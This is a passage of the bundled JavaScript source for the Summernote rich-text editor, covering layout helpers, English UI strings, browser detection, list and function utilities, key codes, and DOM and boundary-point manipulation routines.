$popover.find('.note-popover-content'); }, /** * get dialog's body area * * @param $dialog * @returns {*} */ getDialogBody: function ($dialog) { return $dialog.find('.note-modal-body'); }, createLayout: function ($note, options) { var $editor = (options.airMode ? ui.airEditor([ ui.editingArea([ ui.airEditable() ]) ]) : ui.editor([ ui.toolbar(), ui.editingArea([ ui.codable(), ui.editable() ]), ui.statusbar() ])).render(); $editor.insertAfter($note); return { note: $note, editor: $editor, toolbar: $editor.find('.note-toolbar'), editingArea: $editor.find('.note-editing-area'), editable: $editor.find('.note-editable'), codable: $editor.find('.note-codable'), statusbar: $editor.find('.note-statusbar') }; }, removeLayout: function ($note, layoutInfo) { $note.html(layoutInfo.editable.html()); layoutInfo.editor.remove(); $note.off('summernote'); // remove summernote custom event $note.show(); } }; $$1.summernote = $$1.summernote || { lang: {} }; $$1.extend($$1.summernote.lang, { 'en-US': { font: { bold: 'Bold', italic: 'Italic', underline: 'Underline', clear: 'Remove Font Style', height: 'Line Height', name: 'Font Family', strikethrough: 'Strikethrough', subscript: 'Subscript', superscript: 'Superscript', size: 'Font Size' }, image: { image: 'Picture', insert: 'Insert Image', resizeFull: 'Resize Full', resizeHalf: 'Resize Half', resizeQuarter: 'Resize Quarter', floatLeft: 'Float Left', floatRight: 'Float Right', floatNone: 'Float None', shapeRounded: 'Shape: Rounded', shapeCircle: 'Shape: Circle', shapeThumbnail: 'Shape: Thumbnail', shapeNone: 'Shape: None', dragImageHere: 'Drag image or text here', dropImage: 'Drop image or Text', selectFromFiles: 'Select from files', maximumFileSize: 'Maximum file size', maximumFileSizeError: 'Maximum file size exceeded.', url: 'Image URL', remove: 'Remove Image', original: 'Original' }, video: { video: 'Video', videoLink: 'Video Link', insert: 'Insert Video', url: 'Video URL', providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)' }, link: { link: 'Link', insert: 'Insert Link', unlink: 'Unlink', edit: 'Edit', textToDisplay: 'Text to display', url: 'To what URL should this link go?', openInNewWindow: 'Open in new window' }, table: { table: 'Table', addRowAbove: 'Add row above', addRowBelow: 'Add row below', addColLeft: 'Add column left', addColRight: 'Add column right', delRow: 'Delete row', delCol: 'Delete column', delTable: 'Delete table' }, hr: { insert: 'Insert Horizontal Rule' }, style: { style: 'Style', p: 'Normal', blockquote: 'Quote', pre: 'Code', h1: 'Header 1', h2: 'Header 2', h3: 'Header 3', h4: 'Header 4', h5: 'Header 5', h6: 'Header 6' }, lists: { unordered: 'Unordered list', ordered: 'Ordered list' }, options: { help: 'Help', fullscreen: 'Full Screen', codeview: 'Code View' }, paragraph: { paragraph: 'Paragraph', outdent: 'Outdent', indent: 'Indent', left: 'Align left', center: 'Align center', right: 'Align right', justify: 'Justify full' }, color: { recent: 'Recent Color', more: 'More Color', background: 'Background Color', foreground: 'Foreground Color', transparent: 'Transparent', setTransparent: 'Set transparent', reset: 'Reset', resetToDefault: 'Reset to default' }, shortcut: { shortcuts: 'Keyboard shortcuts', close: 'Close', textFormatting: 'Text formatting', action: 'Action', paragraphFormatting: 'Paragraph formatting', documentStyle: 'Document Style', extraKeys: 'Extra keys' }, help: { 'insertParagraph': 'Insert Paragraph', 'undo': 'Undoes the last command', 'redo': 'Redoes the last command', 'tab': 'Tab', 'untab': 'Untab', 'bold': 'Set a bold style', 'italic': 'Set a italic style', 'underline': 'Set a underline style', 'strikethrough': 'Set a strikethrough style', 'removeFormat': 'Clean a style', 'justifyLeft': 'Set left align', 'justifyCenter': 'Set center align', 'justifyRight': 'Set right align', 'justifyFull': 'Set full align', 'insertUnorderedList': 'Toggle unordered list', 'insertOrderedList': 'Toggle ordered list', 'outdent': 'Outdent on current paragraph', 'indent': 'Indent on current paragraph', 'formatPara': 'Change current block\'s format as a paragraph(P tag)', 'formatH1': 'Change current block\'s format as H1', 'formatH2': 'Change current block\'s format as H2', 'formatH3': 'Change current block\'s format as H3', 'formatH4': 'Change current block\'s format as H4', 'formatH5': 'Change current block\'s format as H5', 'formatH6': 'Change current block\'s format as H6', 'insertHorizontalRule': 'Insert horizontal rule', 'linkDialog.show': 'Show Link Dialog' }, history: { undo: 'Undo', redo: 'Redo' }, specialChar: { specialChar: 'SPECIAL CHARACTERS', select: 'Select Special characters' } } }); var isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line /** * returns whether font is installed or not. * * @param {String} fontName * @return {Boolean} */ function isFontInstalled(fontName) { var testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS'; var $tester = $$1('<div>').css({ position: 'absolute', left: '-9999px', top: '-9999px', fontSize: '200px' }).text('mmmmmmmmmwwwwwww').appendTo(document.body); var originalWidth = $tester.css('fontFamily', testFontName).width(); var width = $tester.css('fontFamily', fontName + ',' + testFontName).width(); $tester.remove(); return originalWidth !== width; } var userAgent = navigator.userAgent; var isMSIE = /MSIE|Trident/i.test(userAgent); var browserVersion; if (isMSIE) { var matches = /MSIE (\d+[.]\d+)/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } } var isEdge = /Edge\/\d+/.test(userAgent); var hasCodeMirror = !!window.CodeMirror; if (!hasCodeMirror && isSupportAmd) { // Webpack if (typeof __webpack_require__ === 'function') { try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } } else if (typeof require !== 'undefined') { // Browserify if (typeof require.resolve !== 'undefined') { try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } // Almond/Require } else if (typeof require.specified !== 'undefined') { hasCodeMirror = require.specified('codemirror'); } } } var isSupportTouch = (('ontouchstart' in window) || (navigator.MaxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)); // [workaround] IE doesn't have input events for contentEditable // - see: https://goo.gl/4bfIvA var inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input'; /** * @class core.env * * Object which check platform and agent * * @singleton * @alternateClassName env */ var env = { isMac: navigator.appVersion.indexOf('Mac') > -1, isMSIE: isMSIE, isEdge: isEdge, isFF: !isEdge && /firefox/i.test(userAgent), isPhantom: /PhantomJS/i.test(userAgent), isWebkit: !isEdge && /webkit/i.test(userAgent), isChrome: !isEdge && /chrome/i.test(userAgent), isSafari: !isEdge && /safari/i.test(userAgent), browserVersion: browserVersion, jqueryVersion: parseFloat($$1.fn.jquery), isSupportAmd: isSupportAmd, isSupportTouch: isSupportTouch, hasCodeMirror: hasCodeMirror, isFontInstalled: isFontInstalled, isW3CRangeSupport: !!document.createRange, inputEventName: inputEventName }; /** * @class core.func * * func utils (for high-order func's arg) * * @singleton * @alternateClassName func */ function eq(itemA) { return function (itemB) { return itemA === itemB; }; } function eq2(itemA, itemB) { return itemA === itemB; } function peq2(propName) { return function (itemA, itemB) { return itemA[propName] === itemB[propName]; }; } function ok() { return true; } function fail() { return false; } function not(f) { return function () { return !f.apply(f, arguments); }; } function and(fA, fB) { return function (item) { return fA(item) && fB(item); }; } function self(a) { return a; } function invoke(obj, method) { return function () { return obj[method].apply(obj, arguments); }; } var idCounter = 0; /** * generate a globally-unique id * * @param {String} [prefix] */ function uniqueId(prefix) { var id = ++idCounter + ''; return prefix ? prefix + id : id; } /** * returns bnd (bounds) from rect * * - IE Compatibility Issue: http://goo.gl/sRLOAo * - Scroll Issue: http://goo.gl/sNjUc * * @param {Rect} rect * @return {Object} bounds * @return {Number} bounds.top * @return {Number} bounds.left * @return {Number} bounds.width * @return {Number} bounds.height */ function rect2bnd(rect) { var $document = $(document); return { top: rect.top + $document.scrollTop(), left: rect.left + $document.scrollLeft(), width: rect.right - rect.left, height: rect.bottom - rect.top }; } /** * returns a copy of the object where the keys have become the values and the values the keys. * @param {Object} obj * @return {Object} */ function invertObject(obj) { var inverted = {}; for (var key in obj) { if (obj.hasOwnProperty(key)) { inverted[obj[key]] = key; } } return inverted; } /** * @param {String} namespace * @param {String} [prefix] * @return {String} */ function namespaceToCamel(namespace, prefix) { prefix = prefix || ''; return prefix + namespace.split('.').map(function (name) { return name.substring(0, 1).toUpperCase() + name.substring(1); }).join(''); } /** * Returns a function, that, as long as it continues to be invoked, will not * be triggered. The function will be called after it stops being called for * N milliseconds. If `immediate` is passed, trigger the function on the * leading edge, instead of the trailing. * @param {Function} func * @param {Number} wait * @param {Boolean} immediate * @return {Function} */ function debounce(func, wait, immediate) { var _this = this; var timeout; return function () { var context = _this; var args = arguments; var later = function () { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } var func = { eq: eq, eq2: eq2, peq2: peq2, ok: ok, fail: fail, self: self, not: not, and: and, invoke: invoke, uniqueId: uniqueId, rect2bnd: rect2bnd, invertObject: invertObject, namespaceToCamel: namespaceToCamel, debounce: debounce }; /** * returns the first item of an array. * * @param {Array} array */ function head(array) { return array[0]; } /** * returns the last item of an array. * * @param {Array} array */ function last(array) { return array[array.length - 1]; } /** * returns everything but the last entry of the array. * * @param {Array} array */ function initial(array) { return array.slice(0, array.length - 1); } /** * returns the rest of the items in an array. * * @param {Array} array */ function tail(array) { return array.slice(1); } /** * returns item of array */ function find(array, pred) { for (var idx = 0, len = array.length; idx < len; idx++) { var item = array[idx]; if (pred(item)) { return item; } } } /** * returns true if all of the values in the array pass the predicate truth test. */ function all(array, pred) { for (var idx = 0, len = array.length; idx < len; idx++) { if (!pred(array[idx])) { return false; } } return true; } /** * returns index of item */ function indexOf(array, item) { return $$1.inArray(item, array); } /** * returns true if the value is present in the list. */ function contains(array, item) { return indexOf(array, item) !== -1; } /** * get sum from a list * * @param {Array} array - array * @param {Function} fn - iterator */ function sum(array, fn) { fn = fn || func.self; return array.reduce(function (memo, v) { return memo + fn(v); }, 0); } /** * returns a copy of the collection with array type. * @param {Collection} collection - collection eg) node.childNodes, ... */ function from(collection) { var result = []; var length = collection.length; var idx = -1; while (++idx < length) { result[idx] = collection[idx]; } return result; } /** * returns whether list is empty or not */ function isEmpty(array) { return !array || !array.length; } /** * cluster elements by predicate function. * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule * @param {Array[]} */ function clusterBy(array, fn) { if (!array.length) { return []; } var aTail = tail(array); return aTail.reduce(function (memo, v) { var aLast = last(memo); if (fn(last(aLast), v)) { aLast[aLast.length] = v; } else { memo[memo.length] = [v]; } return memo; }, [[head(array)]]); } /** * returns a copy of the array with all false values removed * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule */ function compact(array) { var aResult = []; for (var idx = 0, len = array.length; idx < len; idx++) { if (array[idx]) { aResult.push(array[idx]); } } return aResult; } /** * produces a duplicate-free version of the array * * @param {Array} array */ function unique(array) { var results = []; for (var idx = 0, len = array.length; idx < len; idx++) { if (!contains(results, array[idx])) { results.push(array[idx]); } } return results; } /** * returns next item. * @param {Array} array */ function next(array, item) { var idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx + 1]; } /** * returns prev item. * @param {Array} array */ function prev(array, item) { var idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx - 1]; } /** * @class core.list * * list utils * * @singleton * @alternateClassName list */ var lists = { head: head, last: last, initial: initial, tail: tail, prev: prev, next: next, find: find, contains: contains, all: all, sum: sum, from: from, isEmpty: isEmpty, clusterBy: clusterBy, compact: compact, unique: unique }; var KEY_MAP = { 'BACKSPACE': 8, 'TAB': 9, 'ENTER': 13, 'SPACE': 32, 'DELETE': 46, // Arrow 'LEFT': 37, 'UP': 38, 'RIGHT': 39, 'DOWN': 40, // Number: 0-9 'NUM0': 48, 'NUM1': 49, 'NUM2': 50, 'NUM3': 51, 'NUM4': 52, 'NUM5': 53, 'NUM6': 54, 'NUM7': 55, 'NUM8': 56, // Alphabet: a-z 'B': 66, 'E': 69, 'I': 73, 'J': 74, 'K': 75, 'L': 76, 'R': 82, 'S': 83, 'U': 85, 'V': 86, 'Y': 89, 'Z': 90, 'SLASH': 191, 'LEFTBRACKET': 219, 'BACKSLASH': 220, 'RIGHTBRACKET': 221 }; /** * @class core.key * * Object for keycodes. * * @singleton * @alternateClassName key */ var key = { /** * @method isEdit * * @param {Number} keyCode * @return {Boolean} */ isEdit: function (keyCode) { return lists.contains([ KEY_MAP.BACKSPACE, KEY_MAP.TAB, KEY_MAP.ENTER, KEY_MAP.SPACE, KEY_MAP.DELETE ], keyCode); }, /** * @method isMove * * @param {Number} keyCode * @return {Boolean} */ isMove: function (keyCode) { return lists.contains([ KEY_MAP.LEFT, KEY_MAP.UP, KEY_MAP.RIGHT, KEY_MAP.DOWN ], keyCode); }, /** * @property {Object} nameFromCode * @property {String} nameFromCode.8 "BACKSPACE" */ nameFromCode: func.invertObject(KEY_MAP), code: KEY_MAP }; var NBSP_CHAR = String.fromCharCode(160); var ZERO_WIDTH_NBSP_CHAR = '\ufeff'; /** * @method isEditable * * returns whether node is `note-editable` or not. * * @param {Node} node * @return {Boolean} */ function isEditable(node) { return node && $$1(node).hasClass('note-editable'); } /** * @method isControlSizing * * returns whether node is `note-control-sizing` or not. * * @param {Node} node * @return {Boolean} */ function isControlSizing(node) { return node && $$1(node).hasClass('note-control-sizing'); } /** * @method makePredByNodeName * * returns predicate which judge whether nodeName is same * * @param {String} nodeName * @return {Function} */ function makePredByNodeName(nodeName) { nodeName = nodeName.toUpperCase(); return function (node) { return node && node.nodeName.toUpperCase() === nodeName; }; } /** * @method isText * * * * @param {Node} node * @return {Boolean} true if node's type is text(3) */ function isText(node) { return node && node.nodeType === 3; } /** * @method isElement * * * * @param {Node} node * @return {Boolean} true if node's type is element(1) */ function isElement(node) { return node && node.nodeType === 1; } /** * ex) br, col, embed, hr, img, input, ... * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements */ function isVoid(node) { return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase()); } function isPara(node) { if (isEditable(node)) { return false; } // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase()); } function isHeading(node) { return node && /^H[1-7]/.test(node.nodeName.toUpperCase()); } var isPre = makePredByNodeName('PRE'); var isLi = makePredByNodeName('LI'); function isPurePara(node) { return isPara(node) && !isLi(node); } var isTable = makePredByNodeName('TABLE'); var isData = makePredByNodeName('DATA'); function isInline(node) { return !isBodyContainer(node) && !isList(node) && !isHr(node) && !isPara(node) && !isTable(node) && !isBlockquote(node) && !isData(node); } function isList(node) { return node && /^UL|^OL/.test(node.nodeName.toUpperCase()); } var isHr = makePredByNodeName('HR'); function isCell(node) { return node && /^TD|^TH/.test(node.nodeName.toUpperCase()); } var isBlockquote = makePredByNodeName('BLOCKQUOTE'); function isBodyContainer(node) { return isCell(node) || isBlockquote(node) || isEditable(node); } var isAnchor = makePredByNodeName('A'); function isParaInline(node) { return isInline(node) && !!ancestor(node, isPara); } function isBodyInline(node) { return isInline(node) && !ancestor(node, isPara); } var isBody = makePredByNodeName('BODY'); /** * returns whether nodeB is closest sibling of nodeA * * @param {Node} nodeA * @param {Node} nodeB * @return {Boolean} */ function isClosestSibling(nodeA, nodeB) { return nodeA.nextSibling === nodeB || nodeA.previousSibling === nodeB; } /** * returns array of closest siblings with node * * @param {Node} node * @param {function} [pred] - predicate function * @return {Node[]} */ function withClosestSiblings(node, pred) { pred = pred || func.ok; var siblings = []; if (node.previousSibling && pred(node.previousSibling)) { siblings.push(node.previousSibling); } siblings.push(node); if (node.nextSibling && pred(node.nextSibling)) { siblings.push(node.nextSibling); } return siblings; } /** * blank HTML for cursor position * - [workaround] old IE only works with * - [workaround] IE11 and other browser works with bogus br */ var blankHTML = env.isMSIE && env.browserVersion < 11 ? ' ' : '<br>'; /** * @method nodeLength * * returns #text's text size or element's childNodes size * * @param {Node} node */ function nodeLength(node) { if (isText(node)) { return node.nodeValue.length; } if (node) { return node.childNodes.length; } return 0; } /** * returns whether node is empty or not. * * @param {Node} node * @return {Boolean} */ function isEmpty$1(node) { var len = nodeLength(node); if (len === 0) { return true; } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) { // ex) <p><br></p>, <span><br></span> return true; } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') { // ex) <p></p>, <span></span> return true; } return false; } /** * padding blankHTML if node is empty (for cursor position) */ function paddingBlankHTML(node) { if (!isVoid(node) && !nodeLength(node)) { node.innerHTML = blankHTML; } } /** * find nearest ancestor predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function ancestor(node, pred) { while (node) { if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * find nearest ancestor only single child blood line and predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function singleChildAncestor(node, pred) { node = node.parentNode; while (node) { if (nodeLength(node) !== 1) { break; } if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * returns new array of ancestor nodes (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listAncestor(node, pred) { pred = pred || func.fail; var ancestors = []; ancestor(node, function (el) { if (!isEditable(el)) { ancestors.push(el); } return pred(el); }); return ancestors; } /** * find farthest ancestor predicate hit */ function lastAncestor(node, pred) { var ancestors = listAncestor(node); return lists.last(ancestors.filter(pred)); } /** * returns common ancestor node between two nodes. * * @param {Node} nodeA * @param {Node} nodeB */ function commonAncestor(nodeA, nodeB) { var ancestors = listAncestor(nodeA); for (var n = nodeB; n; n = n.parentNode) { if ($$1.inArray(n, ancestors) > -1) { return n; } } return null; // difference document area } /** * listing all previous siblings (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listPrev(node, pred) { pred = pred || func.fail; var nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.previousSibling; } return nodes; } /** * listing next siblings (until predicate hit). * * @param {Node} node * @param {Function} [pred] - predicate function */ function listNext(node, pred) { pred = pred || func.fail; var nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.nextSibling; } return nodes; } /** * listing descendant nodes * * @param {Node} node * @param {Function} [pred] - predicate function */ function listDescendant(node, pred) { var descendants = []; pred = pred || func.ok; // start DFS(depth first search) with node (function fnWalk(current) { if (node !== current && pred(current)) { descendants.push(current); } for (var idx = 0, len = current.childNodes.length; idx < len; idx++) { fnWalk(current.childNodes[idx]); } })(node); return descendants; } /** * wrap node with new tag. * * @param {Node} node * @param {Node} tagName of wrapper * @return {Node} - wrapper */ function wrap(node, wrapperName) { var parent = node.parentNode; var wrapper = $$1('<' + wrapperName + '>')[0]; parent.insertBefore(wrapper, node); wrapper.appendChild(node); return wrapper; } /** * insert node after preceding * * @param {Node} node * @param {Node} preceding - predicate function */ function insertAfter(node, preceding) { var next = preceding.nextSibling; var parent = preceding.parentNode; if (next) { parent.insertBefore(node, next); } else { parent.appendChild(node); } return node; } /** * append elements. * * @param {Node} node * @param {Collection} aChild */ function appendChildNodes(node, aChild) { $$1.each(aChild, function (idx, child) { node.appendChild(child); }); return node; } /** * returns whether boundaryPoint is left edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isLeftEdgePoint(point) { return point.offset === 0; } /** * returns whether boundaryPoint is right edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isRightEdgePoint(point) { return point.offset === nodeLength(point.node); } /** * returns whether boundaryPoint is edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isEdgePoint(point) { return isLeftEdgePoint(point) || isRightEdgePoint(point); } /** * returns whether node is left edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgeOf(node, ancestor) { while (node && node !== ancestor) { if (position(node) !== 0) { return false; } node = node.parentNode; } return true; } /** * returns whether node is right edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isRightEdgeOf(node, ancestor) { if (!ancestor) { return false; } while (node && node !== ancestor) { if (position(node) !== nodeLength(node.parentNode) - 1) { return false; } node = node.parentNode; } return true; } /** * returns whether point is left edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgePointOf(point, ancestor) { return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor); } /** * returns whether point is right edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isRightEdgePointOf(point, ancestor) { return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor); } /** * returns offset from parent. * * @param {Node} node */ function position(node) { var offset = 0; while ((node = node.previousSibling)) { offset += 1; } return offset; } function hasChildren(node) { return !!(node && node.childNodes && node.childNodes.length); } /** * returns previous boundaryPoint * * @param {BoundaryPoint} point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function prevPoint(point, isSkipInnerOffset) { var node; var offset; if (point.offset === 0) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node); } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset - 1]; offset = nodeLength(node); } else { node = point.node; offset = isSkipInnerOffset ? 0 : point.offset - 1; } return { node: node, offset: offset }; } /** * returns next boundaryPoint * * @param {BoundaryPoint} point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function nextPoint(point, isSkipInnerOffset) { var node, offset; if (nodeLength(point.node) === point.offset) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node) + 1; } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset]; offset = 0; } else { node = point.node; offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1; } return { node: node, offset: offset }; } /** * returns whether pointA and pointB is same or not. * * @param {BoundaryPoint} pointA * @param {BoundaryPoint} pointB * @return {Boolean} */ function isSamePoint(pointA, pointB) { return pointA.node === pointB.node && pointA.offset === pointB.offset; } /** * returns whether point is visible (can set cursor) or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isVisiblePoint(point) { if (isText(point.node) || !hasChildren(point.node) || isEmpty$1(point.node)) { return true; } var leftNode = point.node.childNodes[point.offset - 1]; var rightNode = point.node.childNodes[point.offset]; if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) { return true; } return false; } /** * @method prevPointUtil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function prevPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = prevPoint(point); } return null; } /** * @method nextPointUntil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function nextPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = nextPoint(point); } return null; } /** * returns whether point has character or not. * * @param {Point} point * @return {Boolean} */ function isCharPoint(point) { if (!isText(point.node)) { return false; } var ch = point.node.nodeValue.charAt(point.offset - 1); return ch && (ch !== ' ' && ch !== NBSP_CHAR); } /** * @method walkPoint * * @param {BoundaryPoint} startPoint * @param {BoundaryPoint} endPoint * @param {Function} handler * @param {Boolean} isSkipInnerOffset */ function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) { var point = startPoint; while (point) { handler(point); if (isSamePoint(point, endPoint)) { break; } var isSkipOffset = isSkipInnerOffset && startPoint.node !== point.node && endPoint.node !== point.node; point = nextPoint(point, isSkipOffset); } } /** * @method makeOffsetPath * * return offsetPath(array of offset) from ancestor * * @param {Node} ancestor - ancestor node * @param {Node} node */ function makeOffsetPath(ancestor, node) { var ancestors = listAncestor(node, func.eq(ancestor)); return ancestors.map(position).reverse(); } /** * @method fromOffsetPath * * return element from offsetPath(array of offset) * * @param {Node} ancestor - ancestor node * @param {array} offsets - offsetPath */ function fromOffsetPath(ancestor, offsets) { var current = ancestor; for (var i = 0, len = offsets.length; i < len; i++) { if (current.childNodes.length <= offsets[i]) { current = current.childNodes[current.childNodes.length - 1]; } else { current = current.childNodes[offsets[i]]; } } return current; } /** * @method splitNode * * split element or #text * * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitNode(point, options) { var isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML; var isNotSplitEdgePoint = options && options.isNotSplitEdgePoint; // edge case if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) { if (isLeftEdgePoint(point)) { return point.node; } else if (isRightEdgePoint(point)) { return point.node.nextSibling; } } // split #text if (isText(point.node)) { return point.node.splitText(point.offset); } else { var childNode = point.node.childNodes[point.offset]; var clone = insertAfter(point.node.cloneNode(false), point.node); appendChildNodes(clone, listNext(childNode)); if (!isSkipPaddingBlankHTML) { paddingBlankHTML(point.node); paddingBlankHTML(clone); } return clone; } } /** * @method splitTree * * split tree by point * * @param {Node} root - split root * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitTree(root, point, options) { // ex) [#text, <span>, <p>] var ancestors = listAncestor(point.node, func.eq(root)); if (!ancestors.length) { return null; } else if (ancestors.length === 1) { return splitNode(point, options); } return ancestors.reduce(function (node, parent) { if (node === point.node) { node = splitNode(point, options); } return splitNode({ node: parent, offset: node ? position(node) : nodeLength(parent) }, options); }); } /** * split point * * @param {Point} point * @param {Boolean} isInline * @return {Object} */ function splitPoint(point, isInline) { // find splitRoot, container // - inline: splitRoot is a child of paragraph // - block: splitRoot is a child of bodyContainer var pred = isInline ? isPara : isBodyContainer; var ancestors = listAncestor(point.node, pred); var topAncestor = lists.last(ancestors) || point.node; var splitRoot, container; if (pred(topAncestor)) { splitRoot = ancestors[ancestors.length - 2]; container = topAncestor; } else { splitRoot = topAncestor; container = splitRoot.parentNode; } // if splitRoot is exists, split with splitTree var pivot = splitRoot && splitTree(splitRoot, point, { isSkipPaddingBlankHTML: isInline, isNotSplitEdgePoint: isInline }); // if container is point.node, find pivot with point.offset if (!pivot && container === point.node) { pivot = point.node.childNodes[point.offset]; } return { rightNode: pivot, container: container }; } function create(nodeName) { return document.createElement(nodeName); } function createText(text) { return document.createTextNode(text); } /** * @method remove * * remove node, (isRemoveChild: remove child or not) * * @param {Node} node * @param {Boolean} isRemoveChild */ function remove(node, isRemoveChild) { if (!node || !node.parentNode) { return; } if (node.removeNode) { return node.removeNode(isRemoveChild); } var parent = node.parentNode; if (!isRemoveChild) { var nodes = []; for (var i = 0, len = node.childNodes.length; i < len; i++) { nodes.push(node.childNodes[i]); } for (var i = 0, len = nodes.length; i < len; i++) { parent.insertBefore(nodes[i], node); } } parent.removeChild(node); } /** * @method removeWhile * * @param {Node} node * @param {Function} pred */ function removeWhile(node, pred) { while (node) { if (isEditable(node) || !pred(node)) { break; } var parent = node.parentNode; remove(node); node = parent; } } /** * @method replace * * replace node with provided nodeName * * @param {Node} node * @param {String} nodeName * @return {Node} - new node */ function replace(node, nodeName) { if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) { return node; } var newNode = create(nodeName); if (node.style.cssText) { newNode.style.cssText = node.style.cssText; } appendChildNodes(newNode, lists.from(node.childNodes)); insertAfter(newNode, node); remove(node); return newNode; } var isTextarea = makePredByNodeName('TEXTAREA'); /** * @param {jQuery} $node * @param {Boolean} [stripLinebreaks] - default: false */ function value($node, stripLinebreaks) { var val = isTextarea($node[0]) ? $node.val() : $node.html(); if (stripLinebreaks) { return val.replace(/[\n\r]/g, ''); } return val; } /** * @method html * * get the HTML contents of node * * @param {jQuery} $node * @param {Boolean} [isNewlineOnBlock] */ function html($node, isNewlineOnBlock) { var markup = value($node); if (isNewlineOnBlock) { var regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g; markup = markup.replace(regexTag, function (match, endSlash, name) { name = name.toUpperCase(); var isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) && !!endSlash; var isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name); return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : ''); }); markup = $$1.trim(markup); } return markup; } function posFromPlaceholder(placeholder) { var $placeholder = $$1(placeholder); var pos = $placeholder.offset(); var height = $placeholder.outerHeight(true); // include margin return { left: pos.left, top: pos.top + height }; } function attachEvents($node, events) { Object.keys(events).forEach(function (key) { $node.on(key, events[key]); }); } function detachEvents($node, events) { Object.keys(events).forEach(function (key) { $node.off(key, events[key]); }); } /** * @method isCustomStyleTag * * assert if a node contains a "note-styletag" class, * which implies that's a custom-made style tag node * * @param {Node} an HTML DOM node */ function isCustomStyleTag(node) { return node && !isText(node) && lists.contains(node.classList, 'note-styletag'); } var dom = { /** @property {String} NBSP_CHAR */ NBSP_CHAR: NBSP_CHAR, /** @property {String} ZERO_WIDTH_NBSP_CHAR */ ZERO_WIDTH_NBSP_CHAR: ZERO_WIDTH_NBSP_CHAR, /** @property {String} blank */ blank: blankHTML, /** @property {String} emptyPara */ emptyPara: "<p>" + blankHTML + "</p>", makePredByNodeName: makePredByNodeName, isEditable: isEditable, isControlSizing: isControlSizing, isText: isText, isElement: isElement, isVoid: isVoid, isPara: isPara, isPurePara: isPurePara, isHeading: isHeading, isInline: isInline, isBlock: func.not(isInline), isBodyInline: isBodyInline, isBody: isBody, isParaInline: isParaInline, isPre: isPre, isList: isList, isTable: isTable, isData: isData, isCell: isCell, isBlockquote: isBlockquote, isBodyContainer: isBodyContainer, 